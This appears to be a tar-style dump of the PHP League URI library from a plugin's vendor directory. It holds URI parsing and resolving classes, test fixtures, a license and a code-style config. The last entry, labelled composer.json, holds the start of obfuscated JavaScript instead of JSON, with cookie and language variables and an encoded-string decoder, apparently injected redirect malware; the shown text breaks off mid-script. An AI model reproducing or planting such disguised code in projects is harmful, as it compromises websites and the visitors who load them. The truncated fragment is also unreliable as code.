Psr7UriInterface|UriInterface */ private static function filterUri($uri) { if ($uri instanceof Psr7UriInterface || $uri instanceof UriInterface) { return $uri; } throw new \TypeError(sprintf('The uri must be a valid URI object received `%s`', is_object($uri) ? get_class($uri) : gettype($uri))); } /** * Normalize an URI for comparison. * * @param Psr7UriInterface|UriInterface $uri * * @return Psr7UriInterface|UriInterface */ private static function normalize($uri) { $uri = self::filterUri($uri); $null = self::emptyComponentValue($uri); $path = $uri->getPath(); if ('/' === ($path[0] ?? '') || '' !== $uri->getScheme().$uri->getAuthority()) { $path = UriResolver::resolve($uri, $uri->withPath('')->withQuery($null))->getPath(); } $query = $uri->getQuery(); $fragment = $uri->getFragment(); $fragmentOrig = $fragment; $pairs = null === $query ? [] : explode('&', $query); sort($pairs, SORT_REGULAR); $replace = static function (array $matches): string { return rawurldecode($matches[0]); }; $retval = preg_replace_callback(self::REGEXP_ENCODED_CHARS, $replace, [$path, implode('&', $pairs), $fragment]); if (null !== $retval) { [$path, $query, $fragment] = $retval + ['', $null, $null]; } if ($null !== $uri->getAuthority() && '' === $path) { $path = '/'; } return $uri ->withHost(Uri::createFromComponents(['host' => $uri->getHost()])->getHost()) ->withPath($path) ->withQuery([] === $pairs ? $null : $query) ->withFragment($null === $fragmentOrig ? $fragmentOrig : $fragment); } /** * Tell whether the URI represents an absolute URI. * * @param Psr7UriInterface|UriInterface $uri */ public static function isAbsolute($uri): bool { return self::emptyComponentValue($uri) !== self::filterUri($uri)->getScheme(); } /** * Tell whether the URI represents a network path. * * @param Psr7UriInterface|UriInterface $uri */ public static function isNetworkPath($uri): bool { $uri = self::filterUri($uri); $null = self::emptyComponentValue($uri); return $null === $uri->getScheme() && $null !== $uri->getAuthority(); } /** * Tell whether the URI represents an absolute path. * * @param Psr7UriInterface|UriInterface $uri */ public static function isAbsolutePath($uri): bool { $uri = self::filterUri($uri); $null = self::emptyComponentValue($uri); return $null === $uri->getScheme() && $null === $uri->getAuthority() && '/' === ($uri->getPath()[0] ?? ''); } /** * Tell whether the URI represents a relative path. * * @param Psr7UriInterface|UriInterface $uri */ public static function isRelativePath($uri): bool { $uri = self::filterUri($uri); $null = self::emptyComponentValue($uri); return $null === $uri->getScheme() && $null === $uri->getAuthority() && '/' !== ($uri->getPath()[0] ?? ''); } /** * Tell whether both URI refers to the same document. * * @param Psr7UriInterface|UriInterface $uri * @param Psr7UriInterface|UriInterface $base_uri */ public static function isSameDocument($uri, $base_uri): bool { $uri = self::normalize($uri); $base_uri = self::normalize($base_uri); return (string) $uri->withFragment($uri instanceof Psr7UriInterface ? '' : null) === (string) $base_uri->withFragment($base_uri instanceof Psr7UriInterface ? '' : null); } /** * Returns the URI origin property as defined by WHATWG URL living standard. * * {@see https://url.spec.whatwg.org/#origin} * * For URI without a special scheme the method returns null * For URI with the file scheme the method will return null (as this is left to the implementation decision) * For URI with a special scheme the method returns the scheme followed by its authority (without the userinfo part) * * @param Psr7UriInterface|UriInterface $uri */ public static function getOrigin($uri): ?string { $scheme = self::filterUri($uri)->getScheme(); if ('blob' === $scheme) { $uri = Uri::createFromString($uri->getPath()); $scheme = $uri->getScheme(); } if (in_array($scheme, self::WHATWG_SPECIAL_SCHEMES, true)) { $null = self::emptyComponentValue($uri); return (string) $uri->withFragment($null)->withQuery($null)->withPath('')->withUserInfo($null, null); } return null; } } res/readability/vendor/league/uri/src/Http.php000064400000016640147577714370015440 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use League\Uri\Contracts\UriInterface; use League\Uri\Exceptions\SyntaxError; use Psr\Http\Message\UriInterface as Psr7UriInterface; use function is_object; use function is_scalar; use function method_exists; use function sprintf; final class Http implements Psr7UriInterface, \JsonSerializable { /** * @var UriInterface */ private $uri; /** * New instance. */ private function __construct(UriInterface $uri) { $this->validate($uri); $this->uri = $uri; } /** * Validate the submitted uri against PSR-7 UriInterface. * * @throws SyntaxError if the given URI does not follow PSR-7 UriInterface rules */ private function validate(UriInterface $uri): void { $scheme = $uri->getScheme(); if (null === $scheme && '' === $uri->getHost()) { throw new SyntaxError(sprintf('an URI without scheme can not contains a empty host string according to PSR-7: %s', (string) $uri)); } $port = $uri->getPort(); if (null !== $port && ($port < 0 || $port > 65535)) { throw new SyntaxError(sprintf('The URI port is outside the established TCP and UDP port ranges: %s', (string) $uri->getPort())); } } /** * Static method called by PHP's var export. */ public static function __set_state(array $components): self { return new self($components['uri']); } /** * Create a new instance from a string. * * @param string|mixed $uri */ public static function createFromString($uri = ''): self { return new self(Uri::createFromString($uri)); } /** * Create a new instance from a hash of parse_url parts. * * @param array $components a hash representation of the URI similar * to PHP parse_url function result */ public static function createFromComponents(array $components): self { return new self(Uri::createFromComponents($components)); } /** * Create a new instance from the environment. */ public static function createFromServer(array $server): self { return new self(Uri::createFromServer($server)); } /** * Create a new instance from a URI and a Base URI. * * The returned URI must be absolute. * * @param mixed $uri the input URI to create * @param mixed $base_uri the base URI used for reference */ public static function createFromBaseUri($uri, $base_uri = null): self { return new self(Uri::createFromBaseUri($uri, $base_uri)); } /** * Create a new instance from a URI object. * * @param Psr7UriInterface|UriInterface $uri the input URI to create */ public static function createFromUri($uri): self { if ($uri instanceof UriInterface) { return new self($uri); } return new self(Uri::createFromUri($uri)); } /** * {@inheritDoc} */ public function getScheme(): string { return (string) $this->uri->getScheme(); } /** * {@inheritDoc} */ public function getAuthority(): string { return (string) $this->uri->getAuthority(); } /** * {@inheritDoc} */ public function getUserInfo(): string { return (string) $this->uri->getUserInfo(); } /** * {@inheritDoc} */ public function getHost(): string { return (string) $this->uri->getHost(); } /** * {@inheritDoc} */ public function getPort(): ?int { return $this->uri->getPort(); } /** * {@inheritDoc} */ public function getPath(): string { return $this->uri->getPath(); } /** * {@inheritDoc} */ public function getQuery(): string { return (string) $this->uri->getQuery(); } /** * {@inheritDoc} */ public function getFragment(): string { return (string) $this->uri->getFragment(); } /** * {@inheritDoc} */ public function withScheme($scheme): self { $scheme = $this->filterInput($scheme); if ('' === $scheme) { $scheme = null; } $uri = $this->uri->withScheme($scheme); if ($uri->getScheme() === $this->uri->getScheme()) { return $this; } return new self($uri); } /** * Safely stringify input when possible. * * @param mixed $str the value to evaluate as a string * * @throws SyntaxError if the submitted data can not be converted to string * * @return string|mixed */ private function filterInput($str) { if (is_scalar($str) || (is_object($str) && method_exists($str, '__toString'))) { return (string) $str; } return $str; } /** * {@inheritDoc} */ public function withUserInfo($user, $password = null): self { $user = $this->filterInput($user); if ('' === $user) { $user = null; } $uri = $this->uri->withUserInfo($user, $password); if ($uri->getUserInfo() === $this->uri->getUserInfo()) { return $this; } return new self($uri); } /** * {@inheritDoc} */ public function withHost($host): self { $host = $this->filterInput($host); if ('' === $host) { $host = null; } $uri = $this->uri->withHost($host); if ($uri->getHost() === $this->uri->getHost()) { return $this; } return new self($uri); } /** * {@inheritDoc} */ public function withPort($port): self { $uri = $this->uri->withPort($port); if ($uri->getPort() === $this->uri->getPort()) { return $this; } return new self($uri); } /** * {@inheritDoc} */ public function withPath($path): self { $uri = $this->uri->withPath($path); if ($uri->getPath() === $this->uri->getPath()) { return $this; } return new self($uri); } /** * {@inheritDoc} */ public function withQuery($query): self { $query = $this->filterInput($query); if ('' === $query) { $query = null; } $uri = $this->uri->withQuery($query); if ($uri->getQuery() === $this->uri->getQuery()) { return $this; } return new self($uri); } /** * {@inheritDoc} */ public function withFragment($fragment): self { $fragment = $this->filterInput($fragment); if ('' === $fragment) { $fragment = null; } $uri = $this->uri->withFragment($fragment); if ($uri->getFragment() === $this->uri->getFragment()) { return $this; } return new self($uri); } /** * {@inheritDoc} */ public function __toString(): string { return $this->uri->__toString(); } /** * {@inheritDoc} */ public function jsonSerialize(): string { return $this->uri->__toString(); } } res/readability/vendor/league/uri/src/UriString.php000064400000035773147577714370016457 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use League\Uri\Exceptions\IdnaConversionFailed; use League\Uri\Exceptions\IdnSupportMissing; use League\Uri\Exceptions\SyntaxError; use League\Uri\Idna\Idna; use function array_merge; use function explode; use function filter_var; use function gettype; use function inet_pton; use function is_object; use function is_scalar; use function method_exists; use function preg_match; use function rawurldecode; use function sprintf; use function strpos; use function substr; use const FILTER_FLAG_IPV6; use const FILTER_VALIDATE_IP; /** * A class to parse a URI string according to RFC3986. * * @link https://tools.ietf.org/html/rfc3986 * @package League\Uri * @author Ignace Nyamagana Butera * @since 6.0.0 */ final class UriString { /** * Default URI component values. */ private const URI_COMPONENTS = [ 'scheme' => null, 'user' => null, 'pass' => null, 'host' => null, 'port' => null, 'path' => '', 'query' => null, 'fragment' => null, ]; /** * Simple URI which do not need any parsing. */ private const URI_SCHORTCUTS = [ '' => [], '#' => ['fragment' => ''], '?' => ['query' => ''], '?#' => ['query' => '', 'fragment' => ''], '/' => ['path' => '/'], '//' => ['host' => ''], ]; /** * Range of invalid characters in URI string. */ private const REGEXP_INVALID_URI_CHARS = '/[\x00-\x1f\x7f]/'; /** * RFC3986 regular expression URI splitter. * * @link https://tools.ietf.org/html/rfc3986#appendix-B */ private const REGEXP_URI_PARTS = ',^ (?(?[^:/?\#]+):)? # URI scheme component (?//(?[^/?\#]*))? # URI authority part (?[^?\#]*) # URI path component (?\?(?[^\#]*))? # URI query component (?\#(?.*))? # URI fragment component ,x'; /** * URI scheme regular expresssion. * * @link https://tools.ietf.org/html/rfc3986#section-3.1 */ private const REGEXP_URI_SCHEME = '/^([a-z][a-z\d\+\.\-]*)?$/i'; /** * IPvFuture regular expression. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 */ private const REGEXP_IP_FUTURE = '/^ v(?[A-F0-9])+\. (?: (?[a-z0-9_~\-\.])| (?[!$&\'()*+,;=:]) # also include the : character )+ $/ix'; /** * General registered name regular expression. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 */ private const REGEXP_REGISTERED_NAME = '/(?(DEFINE) (?[a-z0-9_~\-]) # . is missing as it is used to separate labels (?[!$&\'()*+,;=]) (?%[A-F0-9]{2}) (?(?:(?&unreserved)|(?&sub_delims)|(?&encoded))*) ) ^(?:(?®_name)\.)*(?®_name)\.?$/ix'; /** * Invalid characters in host regular expression. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 */ private const REGEXP_INVALID_HOST_CHARS = '/ [:\/?#\[\]@ ] # gen-delims characters as well as the space character /ix'; /** * Invalid path for URI without scheme and authority regular expression. * * @link https://tools.ietf.org/html/rfc3986#section-3.3 */ private const REGEXP_INVALID_PATH = ',^(([^/]*):)(.*)?/,'; /** * Host and Port splitter regular expression. */ private const REGEXP_HOST_PORT = ',^(?\[.*\]|[^:]*)(:(?.*))?$,'; /** * IDN Host detector regular expression. */ private const REGEXP_IDN_PATTERN = '/[^\x20-\x7f]/'; /** * Only the address block fe80::/10 can have a Zone ID attach to * let's detect the link local significant 10 bits. */ private const ZONE_ID_ADDRESS_BLOCK = "\xfe\x80"; /** * Generate an URI string representation from its parsed representation * returned by League\Uri\parse() or PHP's parse_url. * * If you supply your own array, you are responsible for providing * valid components without their URI delimiters. * * @link https://tools.ietf.org/html/rfc3986#section-5.3 * @link https://tools.ietf.org/html/rfc3986#section-7.5 * * @param array{ * scheme:?string, * user:?string, * pass:?string, * host:?string, * port:?int, * path:string, * query:?string, * fragment:?string * } $components */ public static function build(array $components): string { $result = $components['path'] ?? ''; if (isset($components['query'])) { $result .= '?'.$components['query']; } if (isset($components['fragment'])) { $result .= '#'.$components['fragment']; } $scheme = null; if (isset($components['scheme'])) { $scheme = $components['scheme'].':'; } if (!isset($components['host'])) { return $scheme.$result; } $scheme .= '//'; $authority = $components['host']; if (isset($components['port'])) { $authority .= ':'.$components['port']; } if (!isset($components['user'])) { return $scheme.$authority.$result; } $authority = '@'.$authority; if (!isset($components['pass'])) { return $scheme.$components['user'].$authority.$result; } return $scheme.$components['user'].':'.$components['pass'].$authority.$result; } /** * Parse an URI string into its components. * * This method parses a URI and returns an associative array containing any * of the various components of the URI that are present. * * * $components = (new Parser())->parse('http://foo@test.example.com:42?query#'); * var_export($components); * //will display * array( * 'scheme' => 'http', // the URI scheme component * 'user' => 'foo', // the URI user component * 'pass' => null, // the URI pass component * 'host' => 'test.example.com', // the URI host component * 'port' => 42, // the URI port component * 'path' => '', // the URI path component * 'query' => 'query', // the URI query component * 'fragment' => '', // the URI fragment component * ); * * * The returned array is similar to PHP's parse_url return value with the following * differences: * *
                      *
                    • All components are always present in the returned array
                    • *
                    • Empty and undefined component are treated differently. And empty component is * set to the empty string while an undefined component is set to the `null` value.
                    • *
                    • The path component is never undefined
                    • *
                    • The method parses the URI following the RFC3986 rules but you are still * required to validate the returned components against its related scheme specific rules.
                    • *
                    * * @link https://tools.ietf.org/html/rfc3986 * * @param mixed $uri any scalar or stringable object * * @throws SyntaxError if the URI contains invalid characters * @throws SyntaxError if the URI contains an invalid scheme * @throws SyntaxError if the URI contains an invalid path * * @return array{ * scheme:?string, * user:?string, * pass:?string, * host:?string, * port:?int, * path:string, * query:?string, * fragment:?string * } */ public static function parse($uri): array { if (is_object($uri) && method_exists($uri, '__toString')) { $uri = (string) $uri; } if (!is_scalar($uri)) { throw new \TypeError(sprintf('The uri must be a scalar or a stringable object `%s` given', gettype($uri))); } $uri = (string) $uri; if (isset(self::URI_SCHORTCUTS[$uri])) { /** @var array{scheme:?string, user:?string, pass:?string, host:?string, port:?int, path:string, query:?string, fragment:?string} $components */ $components = array_merge(self::URI_COMPONENTS, self::URI_SCHORTCUTS[$uri]); return $components; } if (1 === preg_match(self::REGEXP_INVALID_URI_CHARS, $uri)) { throw new SyntaxError(sprintf('The uri `%s` contains invalid characters', $uri)); } //if the first character is a known URI delimiter parsing can be simplified $first_char = $uri[0]; //The URI is made of the fragment only if ('#' === $first_char) { [, $fragment] = explode('#', $uri, 2); $components = self::URI_COMPONENTS; $components['fragment'] = $fragment; return $components; } //The URI is made of the query and fragment if ('?' === $first_char) { [, $partial] = explode('?', $uri, 2); [$query, $fragment] = explode('#', $partial, 2) + [1 => null]; $components = self::URI_COMPONENTS; $components['query'] = $query; $components['fragment'] = $fragment; return $components; } //use RFC3986 URI regexp to split the URI preg_match(self::REGEXP_URI_PARTS, $uri, $parts); $parts += ['query' => '', 'fragment' => '']; if (':' === $parts['scheme'] || 1 !== preg_match(self::REGEXP_URI_SCHEME, $parts['scontent'])) { throw new SyntaxError(sprintf('The uri `%s` contains an invalid scheme', $uri)); } if ('' === $parts['scheme'].$parts['authority'] && 1 === preg_match(self::REGEXP_INVALID_PATH, $parts['path'])) { throw new SyntaxError(sprintf('The uri `%s` contains an invalid path.', $uri)); } /** @var array{scheme:?string, user:?string, pass:?string, host:?string, port:?int, path:string, query:?string, fragment:?string} $components */ $components = array_merge( self::URI_COMPONENTS, '' === $parts['authority'] ? [] : self::parseAuthority($parts['acontent']), [ 'path' => $parts['path'], 'scheme' => '' === $parts['scheme'] ? null : $parts['scontent'], 'query' => '' === $parts['query'] ? null : $parts['qcontent'], 'fragment' => '' === $parts['fragment'] ? null : $parts['fcontent'], ] ); return $components; } /** * Parses the URI authority part. * * @link https://tools.ietf.org/html/rfc3986#section-3.2 * * @throws SyntaxError If the port component is invalid * * @return array{user:?string, pass:?string, host:?string, port:?int} */ private static function parseAuthority(string $authority): array { $components = ['user' => null, 'pass' => null, 'host' => '', 'port' => null]; if ('' === $authority) { return $components; } $parts = explode('@', $authority, 2); if (isset($parts[1])) { [$components['user'], $components['pass']] = explode(':', $parts[0], 2) + [1 => null]; } preg_match(self::REGEXP_HOST_PORT, $parts[1] ?? $parts[0], $matches); $matches += ['port' => '']; $components['port'] = self::filterPort($matches['port']); $components['host'] = self::filterHost($matches['host']); return $components; } /** * Filter and format the port component. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 * * @throws SyntaxError if the registered name is invalid */ private static function filterPort(string $port): ?int { if ('' === $port) { return null; } if (1 === preg_match('/^\d*$/', $port)) { return (int) $port; } throw new SyntaxError(sprintf('The port `%s` is invalid', $port)); } /** * Returns whether a hostname is valid. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 * * @throws SyntaxError if the registered name is invalid */ private static function filterHost(string $host): string { if ('' === $host) { return $host; } if ('[' !== $host[0] || ']' !== substr($host, -1)) { return self::filterRegisteredName($host); } if (!self::isIpHost(substr($host, 1, -1))) { throw new SyntaxError(sprintf('Host `%s` is invalid : the IP host is malformed', $host)); } return $host; } /** * Returns whether the host is an IPv4 or a registered named. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 * * @throws SyntaxError if the registered name is invalid * @throws IdnSupportMissing if IDN support or ICU requirement are not available or met. */ private static function filterRegisteredName(string $host): string { $formatted_host = rawurldecode($host); if (1 === preg_match(self::REGEXP_REGISTERED_NAME, $formatted_host)) { return $host; } //to test IDN host non-ascii characters must be present in the host if (1 !== preg_match(self::REGEXP_IDN_PATTERN, $formatted_host)) { throw new SyntaxError(sprintf('Host `%s` is invalid : the host is not a valid registered name', $host)); } $info = Idna::toAscii($host, Idna::IDNA2008_ASCII); if (0 !== $info->errors()) { throw IdnaConversionFailed::dueToIDNAError($host, $info); } return $host; } /** * Validates a IPv6/IPvfuture host. * * @link https://tools.ietf.org/html/rfc3986#section-3.2.2 * @link https://tools.ietf.org/html/rfc6874#section-2 * @link https://tools.ietf.org/html/rfc6874#section-4 */ private static function isIpHost(string $ip_host): bool { if (false !== filter_var($ip_host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { return true; } if (1 === preg_match(self::REGEXP_IP_FUTURE, $ip_host, $matches)) { return !in_array($matches['version'], ['4', '6'], true); } $pos = strpos($ip_host, '%'); if (false === $pos || 1 === preg_match( self::REGEXP_INVALID_HOST_CHARS, rawurldecode(substr($ip_host, $pos)) )) { return false; } $ip_host = substr($ip_host, 0, $pos); return false !== filter_var($ip_host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && 0 === strpos((string) inet_pton($ip_host), self::ZONE_ID_ADDRESS_BLOCK); } } res/readability/vendor/league/uri/src/UriResolver.php000064400000025536147577714370017006 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use League\Uri\Contracts\UriInterface; use Psr\Http\Message\UriInterface as Psr7UriInterface; use function array_pop; use function array_reduce; use function count; use function end; use function explode; use function gettype; use function implode; use function in_array; use function sprintf; use function str_repeat; use function strpos; use function substr; final class UriResolver { /** * @var array */ const DOT_SEGMENTS = ['.' => 1, '..' => 1]; /** * @codeCoverageIgnore */ private function __construct() { } /** * Resolve an URI against a base URI using RFC3986 rules. * * If the first argument is a UriInterface the method returns a UriInterface object * If the first argument is a Psr7UriInterface the method returns a Psr7UriInterface object * * @param Psr7UriInterface|UriInterface $uri * @param Psr7UriInterface|UriInterface $base_uri * * @return Psr7UriInterface|UriInterface */ public static function resolve($uri, $base_uri) { self::filterUri($uri); self::filterUri($base_uri); $null = $uri instanceof Psr7UriInterface ? '' : null; if ($null !== $uri->getScheme()) { return $uri ->withPath(self::removeDotSegments($uri->getPath())); } if ($null !== $uri->getAuthority()) { return $uri ->withScheme($base_uri->getScheme()) ->withPath(self::removeDotSegments($uri->getPath())); } $user = $null; $pass = null; $userInfo = $base_uri->getUserInfo(); if (null !== $userInfo) { [$user, $pass] = explode(':', $userInfo, 2) + [1 => null]; } [$uri_path, $uri_query] = self::resolvePathAndQuery($uri, $base_uri); return $uri ->withPath(self::removeDotSegments($uri_path)) ->withQuery($uri_query) ->withHost($base_uri->getHost()) ->withPort($base_uri->getPort()) ->withUserInfo((string) $user, $pass) ->withScheme($base_uri->getScheme()) ; } /** * Filter the URI object. * * @param mixed $uri an URI object * * @throws \TypeError if the URI object does not implements the supported interfaces. */ private static function filterUri($uri): void { if (!$uri instanceof UriInterface && !$uri instanceof Psr7UriInterface) { throw new \TypeError(sprintf('The uri must be a valid URI object received `%s`', gettype($uri))); } } /** * Remove dot segments from the URI path. */ private static function removeDotSegments(string $path): string { if (false === strpos($path, '.')) { return $path; } $old_segments = explode('/', $path); $new_path = implode('/', array_reduce($old_segments, [UriResolver::class, 'reducer'], [])); if (isset(self::DOT_SEGMENTS[end($old_segments)])) { $new_path .= '/'; } // @codeCoverageIgnoreStart // added because some PSR-7 implementations do not respect RFC3986 if (0 === strpos($path, '/') && 0 !== strpos($new_path, '/')) { return '/'.$new_path; } // @codeCoverageIgnoreEnd return $new_path; } /** * Remove dot segments. * * @return array */ private static function reducer(array $carry, string $segment): array { if ('..' === $segment) { array_pop($carry); return $carry; } if (!isset(self::DOT_SEGMENTS[$segment])) { $carry[] = $segment; } return $carry; } /** * Resolve an URI path and query component. * * @param Psr7UriInterface|UriInterface $uri * @param Psr7UriInterface|UriInterface $base_uri * * @return array{0:string, 1:string|null} */ private static function resolvePathAndQuery($uri, $base_uri): array { $target_path = $uri->getPath(); $target_query = $uri->getQuery(); $null = $uri instanceof Psr7UriInterface ? '' : null; $baseNull = $base_uri instanceof Psr7UriInterface ? '' : null; if (0 === strpos($target_path, '/')) { return [$target_path, $target_query]; } if ('' === $target_path) { if ($null === $target_query) { $target_query = $base_uri->getQuery(); } $target_path = $base_uri->getPath(); //@codeCoverageIgnoreStart //because some PSR-7 Uri implementations allow this RFC3986 forbidden construction if ($baseNull !== $base_uri->getAuthority() && 0 !== strpos($target_path, '/')) { $target_path = '/'.$target_path; } //@codeCoverageIgnoreEnd return [$target_path, $target_query]; } $base_path = $base_uri->getPath(); if ($baseNull !== $base_uri->getAuthority() && '' === $base_path) { $target_path = '/'.$target_path; } if ('' !== $base_path) { $segments = explode('/', $base_path); array_pop($segments); if ([] !== $segments) { $target_path = implode('/', $segments).'/'.$target_path; } } return [$target_path, $target_query]; } /** * Relativize an URI according to a base URI. * * This method MUST retain the state of the submitted URI instance, and return * an URI instance of the same type that contains the applied modifications. * * This method MUST be transparent when dealing with error and exceptions. * It MUST not alter of silence them apart from validating its own parameters. * * @param Psr7UriInterface|UriInterface $uri * @param Psr7UriInterface|UriInterface $base_uri * * @return Psr7UriInterface|UriInterface */ public static function relativize($uri, $base_uri) { self::filterUri($uri); self::filterUri($base_uri); $uri = self::formatHost($uri); $base_uri = self::formatHost($base_uri); if (!self::isRelativizable($uri, $base_uri)) { return $uri; } $null = $uri instanceof Psr7UriInterface ? '' : null; $uri = $uri->withScheme($null)->withPort(null)->withUserInfo($null)->withHost($null); $target_path = $uri->getPath(); if ($target_path !== $base_uri->getPath()) { return $uri->withPath(self::relativizePath($target_path, $base_uri->getPath())); } if (self::componentEquals('getQuery', $uri, $base_uri)) { return $uri->withPath('')->withQuery($null); } if ($null === $uri->getQuery()) { return $uri->withPath(self::formatPathWithEmptyBaseQuery($target_path)); } return $uri->withPath(''); } /** * Tells whether the component value from both URI object equals. * * @param Psr7UriInterface|UriInterface $uri * @param Psr7UriInterface|UriInterface $base_uri */ private static function componentEquals(string $method, $uri, $base_uri): bool { return self::getComponent($method, $uri) === self::getComponent($method, $base_uri); } /** * Returns the component value from the submitted URI object. * * @param Psr7UriInterface|UriInterface $uri */ private static function getComponent(string $method, $uri): ?string { $component = $uri->$method(); if ($uri instanceof Psr7UriInterface && '' === $component) { return null; } return $component; } /** * Filter the URI object. * * @param null|mixed $uri * * @throws \TypeError if the URI object does not implements the supported interfaces. * * @return Psr7UriInterface|UriInterface */ private static function formatHost($uri) { if (!$uri instanceof Psr7UriInterface) { return $uri; } $host = $uri->getHost(); if ('' === $host) { return $uri; } return $uri->withHost((string) Uri::createFromComponents(['host' => $host])->getHost()); } /** * Tell whether the submitted URI object can be relativize. * * @param Psr7UriInterface|UriInterface $uri * @param Psr7UriInterface|UriInterface $base_uri */ private static function isRelativizable($uri, $base_uri): bool { return !UriInfo::isRelativePath($uri) && self::componentEquals('getScheme', $uri, $base_uri) && self::componentEquals('getAuthority', $uri, $base_uri); } /** * Relative the URI for a authority-less target URI. */ private static function relativizePath(string $path, string $basepath): string { $base_segments = self::getSegments($basepath); $target_segments = self::getSegments($path); $target_basename = array_pop($target_segments); array_pop($base_segments); foreach ($base_segments as $offset => $segment) { if (!isset($target_segments[$offset]) || $segment !== $target_segments[$offset]) { break; } unset($base_segments[$offset], $target_segments[$offset]); } $target_segments[] = $target_basename; return self::formatPath( str_repeat('../', count($base_segments)).implode('/', $target_segments), $basepath ); } /** * returns the path segments. * * @return string[] */ private static function getSegments(string $path): array { if ('' !== $path && '/' === $path[0]) { $path = substr($path, 1); } return explode('/', $path); } /** * Formatting the path to keep a valid URI. */ private static function formatPath(string $path, string $basepath): string { if ('' === $path) { return in_array($basepath, ['', '/'], true) ? $basepath : './'; } if (false === ($colon_pos = strpos($path, ':'))) { return $path; } $slash_pos = strpos($path, '/'); if (false === $slash_pos || $colon_pos < $slash_pos) { return "./$path"; } return $path; } /** * Formatting the path to keep a resolvable URI. */ private static function formatPathWithEmptyBaseQuery(string $path): string { $target_segments = self::getSegments($path); /** @var string $basename */ $basename = end($target_segments); return '' === $basename ? './' : $basename; } } res/readability/vendor/league/uri/src/HttpFactory.php000064400000001050147577714370016755 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use Psr\Http\Message\UriFactoryInterface; use Psr\Http\Message\UriInterface; final class HttpFactory implements UriFactoryInterface { public function createUri(string $uri = ''): UriInterface { return Http::createFromString($uri); } } res/readability/vendor/league/uri/test_files/john-doe.vcf000064400000001623147577714370017560 0ustar00BEGIN:VCARD VERSION:3.0 N:Doe;John;;; FN:John Doe ORG:Example.com Inc.; TITLE:Imaginary test person EMAIL;type=INTERNET;type=WORK;type=pref:johnDoe@example.org TEL;type=WORK;type=pref:+1 617 555 1212 TEL;type=WORK:+1 (617) 555-1234 TEL;type=CELL:+1 781 555 1212 TEL;type=HOME:+1 202 555 1212 item1.ADR;type=WORK:;;2 Enterprise Avenue;Worktown;NY;01111;USA item1.X-ABADR:us item2.ADR;type=HOME;type=pref:;;3 Acacia Avenue;Hoemtown;MA;02222;USA item2.X-ABADR:us NOTE:John Doe has a long and varied history\, being documented on more police files that anyone else. Reports of his death are alas numerous. item3.URL;type=pref:http\://www.example/com/doe item3.X-ABLabel:_$!!$_ item4.URL:http\://www.example.com/Joe/foaf.df item4.X-ABLabel:FOAF item5.X-ABRELATEDNAMES;type=pref:Jane Doe item5.X-ABLabel:_$!!$_ CATEGORIES:Work,Test group X-ABUID:5AD380FD-B2DE-4261-BA99-DE1D1DB52FBE\:ABPerson END:VCARD res/readability/vendor/league/uri/test_files/hello-world.txt000064400000000021147577714370020335 0ustar00Bonjour le monde!res/readability/vendor/league/uri/test_files/red-nose.gif000064400000000167147577714370017562 0ustar00GIF89a €ÿÿÿÿ!þCreated with GIMP!ù , 9Œ©Ëí£œ´Ú‹³~ ûTHzcIž(¨®æä²püJtÝ]ó®¿¢„%bjvÛ(—̦ó f ;res/readability/vendor/league/uri/LICENSE000064400000002102147577714370014212 0ustar00The MIT License (MIT) Copyright (c) 2015 ignace nyamagana butera Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/league/uri/.php-cs-fixer.php000064400000003603147577714370016310 0ustar00 For the full copyright and license information, please view the LICENSE file that was distributed with this source code. EOF; $finder = PhpCsFixer\Finder::create() ->in(__DIR__.'/src') ->in(__DIR__.'/benchmark') ; $config = new PhpCsFixer\Config(); return $config ->setRules([ '@PSR2' => true, 'array_syntax' => ['syntax' => 'short'], 'concat_space' => ['spacing' => 'none'], 'header_comment' => [ 'comment_type' => 'PHPDoc', 'header' => $header, 'location' => 'after_open', 'separate' => 'both', ], 'new_with_braces' => true, 'no_blank_lines_after_phpdoc' => true, 'no_empty_phpdoc' => true, 'no_empty_comment' => true, 'no_leading_import_slash' => true, 'no_superfluous_phpdoc_tags' => true, 'no_trailing_comma_in_singleline_array' => true, 'no_unused_imports' => true, 'ordered_imports' => ['imports_order' => ['class', 'function', 'const'], 'sort_algorithm' => 'alpha'], 'phpdoc_add_missing_param_annotation' => ['only_untyped' => false], 'phpdoc_align' => true, 'phpdoc_no_empty_return' => true, 'phpdoc_order' => true, 'phpdoc_scalar' => true, 'phpdoc_to_comment' => true, 'phpdoc_summary' => true, 'psr_autoloading' => true, 'return_type_declaration' => ['space_before' => 'none'], 'single_blank_line_before_namespace' => true, 'single_quote' => true, 'space_after_semicolon' => true, 'ternary_operator_spaces' => true, 'trailing_comma_in_multiline' => true, 'trim_array_spaces' => true, 'whitespace_after_comma_in_array' => true, 'yoda_style' => true, ]) ->setFinder($finder) ; res/readability/vendor/league/uri/composer.json000064400000013335147577714370015741 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var 